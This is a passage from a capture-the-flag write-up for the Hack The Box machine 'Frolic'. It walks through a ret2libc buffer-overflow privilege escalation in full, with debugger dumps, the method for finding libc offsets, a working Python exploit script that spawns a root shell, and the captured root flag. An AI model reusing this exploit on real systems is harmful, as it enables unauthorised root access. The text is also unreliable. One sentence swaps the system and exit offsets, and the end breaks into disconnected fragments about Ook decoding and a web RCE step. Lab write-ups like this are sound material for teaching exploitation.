0xffffd1bc│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
─────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rop", stopped 0x41414141 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────

The program only has the NX memory protection enabled.

Data Execution Prevention (DEP) or No-Execute (NX) works with the processor to help prevent buffer overflow attacks by blocking code execution from memory that is marked as non-executable.

gef➤ checksec

[+] checksec for '/home/alfa8sa/HTB/machines/frolic/rop'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

We can also check on the victim machine that ASLR is not enabled.

Address space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

cat /proc/sys/kernel/randomize_va_space

0

As ASLR is disabled, and the NX memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a Return to libc attack.

Return to lib is a tactic used for executing code that is not on the stack but in a sector of memory that is executable, for example in libc. The code used to break the program are functions within this library.

First, let's check at what point we start overwriting the EIP. Create a pattern with gef.

gef➤ pattern create 100

[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'

And execute the program giving the pattern as an argument.

gef➤ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x64      
$ebx   : 0xffffd360  →  0x00000002
$ecx   : 0xf7fa1ff4  →  0x001ead6c
$edx   : 0x0       
$esp   : 0xffffd330  →  "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
$ebp   : 0x6161616d ("maaa"?)
$esi   : 0x2       
$edi   : 0x80483a0  →  <_start+0> xor ebp, ebp
$eip   : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd330│+0x0000: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"       ← $esp
0xffffd334│+0x0004: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd338│+0x0008: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd33c│+0x000c: "raaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd340│+0x0010: "saaataaauaaavaaawaaaxaaayaaa"
0xffffd344│+0x0014: "taaauaaavaaawaaaxaaayaaa"
0xffffd348│+0x0018: "uaaavaaawaaaxaaayaaa"
0xffffd34c│+0x001c: "vaaawaaaxaaayaaa"
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616e
─────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rop", stopped 0x6161616e in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────

As we see, the EIP has the vale naaa. With that value, we could see that the offset is 52.

gef➤ pattern offset $eip

[+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)

Now, as I have control of the EIP, I could fill it with B characters.

gef➤ r $(python -c "print('A'*52+'B'*4)")

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x38      
$ebx   : 0xffffd390  →  0x00000002
$ecx   : 0xf7fa1ff4  →  0x001ead6c
$edx   : 0x0       
$esp   : 0xffffd360  →  0xffffd500  →  0x00000010
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x2       
$edi   : 0x80483a0  →  <_start+0> xor ebp, ebp
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd360│+0x0000: 0xffffd500  →  0x00000010    ← $esp
0xffffd364│+0x0004: 0xffffd434  →  0xffffd5ba  →  "/home/alfa8sa/HTB/machines/frolic/rop"
0xffffd368│+0x0008: 0xffffd440  →  0xffffd619  →  "COLORTERM=truecolor"
0xffffd36c│+0x000c: 0x8048561  →  <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd370│+0x0010: 0xffffd390  →  0x00000002
0xffffd374│+0x0014: 0x00000000
0xffffd378│+0x0018: 0x00000000
0xffffd37c│+0x001c: 0xf7dd2905  →  <__libc_start_main+229> add esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
─────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rop", stopped 0x42424242 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────

To exploit Return to Libc, and be able to spawn a shell as root, we'll need the system address, the exit address, the /bin/bash address and the base_libc address. First, we could get the base_libc address from the victim machine, which is 0xb7e19000 in this case.

ldd nop

        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)

We can see that the offset of the system and exit functions are 0x0002e9d0 and 0x0003ada0.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system@@| exit@@"

  • -s display the symbol table.

   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

Finally, we'll need the offset of the /bin/sh function, which is 0x0015ba0b.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

  • -a scan the entire file.

  • -t x print the location of the string in base 16.

 15ba0b /bin/sh

Now, that I have the function's offset and the base_lib address, I can calculate the system, exit and /bin/sh addresses by adding the offset to the base_lib address.

The final payload will be the initial 52 A characters, the system address, the exit address and the /bin/sh address. The following script will calculate all the addresses, execute the rop binary giving the final payload as an argument, and it should spawn a shell as root.

#!/usr/bin/python

from struct import pack
from subprocess import call
import sys

junk = "A" * 52

# ret2libc -> system_addr + exit_addr + bin_sh_addr

base_libc = 0xb7e19000

system_addr_off = 0x0003ada0
exit_addr_off = 0x0002e9d0
bin_sh_addr_off = 0x0015ba0b

system_addr = pack("<I", base_libc + system_addr_off)
exit_addr = pack("<I", base_libc + exit_addr_off)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_off)

payload = junk + system_addr + exit_addr + bin_sh_addr

ret = call(["/home/ayush/.binary/rop", payload]) 

If we execute the script, we should get a shell as root, and then all we have to do is reap the harvest and take the root flag.

python /tmp/privEsc/bof.py

# whoami
root
# cat /root/root.txt
85d3fdf03f969892538ba9a731826222

It looks like , but without the Ook word. Let's paste the message in the message.txt file, and add the Ook word before all the ., ? and ! characters.

Now we could use tools such us to decode the message.

We could use again to decode the message. We'll get what looks like a password.

This specific explains how to get Remote Code Execution on the web server. The vulnerability allows us to execute commands via the User Agent header. First, we'll have to create the backdoor.csv file with the following content.

Ook.
dcode.fr
dcode.fr
exploit